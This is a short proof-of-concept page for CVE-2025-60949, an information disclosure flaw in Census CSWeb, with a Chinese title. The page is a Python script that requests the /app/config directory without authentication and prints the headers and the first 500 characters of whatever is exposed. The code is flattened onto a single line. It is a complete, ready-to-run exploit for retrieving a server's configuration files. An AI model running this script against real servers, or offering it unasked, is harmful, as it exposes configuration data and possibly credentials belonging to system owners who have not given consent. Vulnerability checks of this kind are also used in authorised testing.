CVE-2025-60949 Census CSWeb敏感信息泄露漏洞

import requests # CVE-2025-60949 Proof of Concept # Checks if the /app/config directory is accessible target_url = "http://target-ip/app/config" try: # Send a GET request without authentication response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print("[+] The /app/config directory is accessible.") print("[+] Response headers:") for header, value in response.headers.items(): print(f" {header}: {value}") print("[+] First 500 chars of content:") print(response.text[:500]) elif response.status_code == 403: print("[-] Access forbidden. The directory might be protected.") elif response.status_code == 404: print("[-] Directory not found. Target might not be vulnerable.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")